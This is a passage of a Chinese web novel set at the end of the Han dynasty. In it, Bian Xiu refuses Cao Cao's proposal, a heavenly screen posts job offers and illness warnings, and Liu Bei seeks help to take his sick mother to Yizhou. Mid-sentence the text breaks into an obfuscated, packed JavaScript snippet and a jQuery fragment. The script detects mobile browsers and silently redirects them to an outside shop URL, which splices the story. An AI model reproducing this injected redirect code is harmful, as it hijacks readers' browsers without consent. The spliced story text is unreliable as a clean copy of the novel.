王妍看着卞秀的眼睛,认真道:“妹妹,我是看你聪明伶俐,是个当官的料子,才和你说这些,你可千万不要为了眼前的蝇头小利,放弃自己的前程。”
其实就算她和曹操走了,以后也是可以做官的,天人治下,又没有什么卖身契之说,达官贵人也不能限制女子的自由。
只是这温水煮青蛙,她本就是外来的女子,一旦习惯曹操府中被人伺候,养尊处优的日子,真的还能回到职场吗?
就算天人有法令,所有女子必须做工,但也有不少不求上进之人,只满足于找一份清闲体面的工作,其实以夫家马首是瞻。
她不想让这个聪慧的女子也走上这条道,才多嘴了一句。
卞秀此时也很纠结,这位公子明显来历不凡,一看就知是达官贵人家的子弟。
她从前最大的愿望就是找到一个官家纨绔,成为对方的妾室,剩下一子半女,那她便终身有靠。
如今你机会就摆在面前,她却犹豫了。
万一,妍姊说的是真的呢?
可这位使君一看就不是好糊弄的主,若是现在拒绝了他,将来再想入他的府邸,怕是不行了。
卞秀纠结半晌,最后还是在卞父的眼色下狠心道:“使君厚爱,只是我与父亲刚到此处,不便叨扰使君。”
这便是委婉拒绝了。
曹操也不生气,这点度量他还是有的,他也不是什么强抢民女的混混,既然人家不愿,他也只能算了。
就在王妍欣慰,想和她说更多考官的事安她的心时,天空突然风起云涌。
几人抬头望天。
“天幕又出现了!”
“不知道天人又有什么话要和咱们说。”
几人来不及惊呼,就听周围此起彼伏的讨论声,却只有少数人惊慌失措。
卞秀敏锐地注意到这一点,心生疑窦:“难道,这天幕,你们竟是见过?”
否则街上行人怎么如此镇定?
王妍嘴角含笑,刚刚还怕她不信自己的,现在可不怕了,天幕可不就是取信于人最好的见证?
她淡定道:“咱们还是先看看天幕上都说了什么吧?”
天幕出现后,天幕上的字由虚影渐渐凝实。
卞秀识字,就见天幕上用繁体字赫然写着:
【急召女工来益州做工,月俸五十石,女工急缺,来多少要多少!】
卞秀心下一动,早就听说天人有神通,如今亲眼所见,总算是不得不信了。
没想到天人竟愿意给女工如此高的工钱,看来女人能做官也是真的了。
她心下一松,喜悦之情第一次溢于言表。
看来之前是她相差了,原以为,就算天人是女子,也不能冒天下之大不韪,启用女子做官。
现在来看,天人和凡人哪有一点相似之处,就算大汉发兵来讨,天人怕是也不惧。
既然如此,一个小妾和女官,还用选吗?
她不禁有些庆幸,还好她心高气傲,没有一口答应曹操的求娶。
本以为这已经是天幕的所有内容,没想到,这条播了片刻后,天幕一变,又出现了几条新的天幕。
【曹操,汝刘夫人即将病逝,速往就医!】
【诸葛亮,汝母病重,速至!】
【孙坚,汝舅!】
卞秀看完,有些摸不着头脑。
这几人她都没听过,前两句还能理解,最后一句似乎没说完的样子,是什么意思?
王妍笑道:“天人啊,最怕麻烦了,想必这个孙坚的舅舅也病了,但天人觉得前面都有两个例子了,没必要写得那么清楚,这个孙坚,肯定能懂天人的意思。”
卞秀大骇:“天人不但又这天幕之能,还能知天下事不成?”
否则远隔千里,她如何得知这几人的亲人病重的?
王妍神秘一笑,没有解释。
其实她也不知道天人究竟还有多少神通。
而且天人还经常说自己不是万能的,也不能全知,但她自然不会在未来同僚面前解释。
曹操也大为惊异,他确实有个夫人姓刘,但不是正妻,只因她生下长子曹昂,才得看重,只是她终究是妾,外人断难以知道他内宅私事。
难道他的妾室,天人也知之甚详?
他走时,刘夫人还是健康的,难道真的病了?
正想着,曹操有下人前来送家书。
曹操赶紧查看,果然家书上提到刘夫人病了这事。
曹操不禁对天人的用意揣摩起来,他人都已经在这儿了,天人为何还要特意在天幕上提到他?
夏侯惇也在思考这件事,对曹操道:“孟德,你之前不是还担心你在军中被人发现,传回大汉,会给家族带来麻烦吗?
如今天幕竟提到你,皇帝可是曾下旨把广汉郡尊为仙乡,君无戏言,既然如此,以后就不会在正式场合推翻这个结论,即便是天人有天和大汉挑起战端,陛下也不
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17448337|196519||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
会公然和天幕做对。”
曹操是聪明人,一下就明白夏侯惇是什么意思了。
天人这样做,是免除他的后顾之忧。
天人竟然如此为他着想,他都有些感动了。
至少天人知人善任,和他们那个陛下,简直是云泥之别!
“只是这刘备和孙坚又是何人?竟是从未听过他们的名号。”
王妍思索片刻道:“天人求贤若渴,估计这两人是有大才吧!”
曹操点头,其实他也不是什么大人物,若不是处死过大宦官的叔父,他在洛阳,也是个无名小卒罢了。
*
此次天幕,竟是大汉每个郡州繁华的县都能看到。
天幕一出,之前出现过的天幕内容,也都藏不住了,以极短的时间,传遍了整个大汉。
此时,刘备才二十岁,刚刚结束了和卢植的游学,回到家中,没有正式展露头角。
他母亲已经病了许久,大夫毫无办法。
他父亲早逝,母子二人从他小时候起,一起织鞋贩履,相依为命,感情深。
他本来已经绝望,只想好好孝顺母亲,让母亲在最后的时光好好享福。
他看到天幕,没想到母亲还有治愈的可能,大喜过望,当场下跪发誓,若天公真能活他的母亲,他必要结草衔环以报救母之恩。
只是涿郡离益州,有四千多汉里,一路上又不太平,他想一个人带母亲去那里,恐怕还没到地方,就被山贼杀了。
刘备在屋内走来走去,下定了决心。
他一个人送母亲不行,但他还有两个同乡,交情虽不说生死相依,但也不错。
二人也是重义气之人,自己是为了救母,他们定会帮忙。
刘备这就准备出门,出门前,到病床上知会了刘母一声。
刘母叫他到近前道:“儿啊,天幕的事,你隔壁婶子都告诉我了,只是我病的太重,益州太远,我们母子二人,如何到得了?还是莫要伤怀,好好过好你的日子吧!”
刘备拉着母亲,伤心道:“母亲莫要这么说,儿子有几个交好的同乡,我这就去求他们帮忙,他们都是讲义气的人,这个忙,他们定然会帮的,等你好了,我定会报答他们。”
刘母见劝不住,只得让他去了。
刘备先去了张飞的宅子。
张飞虽然才十三岁,却已经是本地有名的勇武少年了,而且此人格外讲义气,定不会拒绝他的这个请求。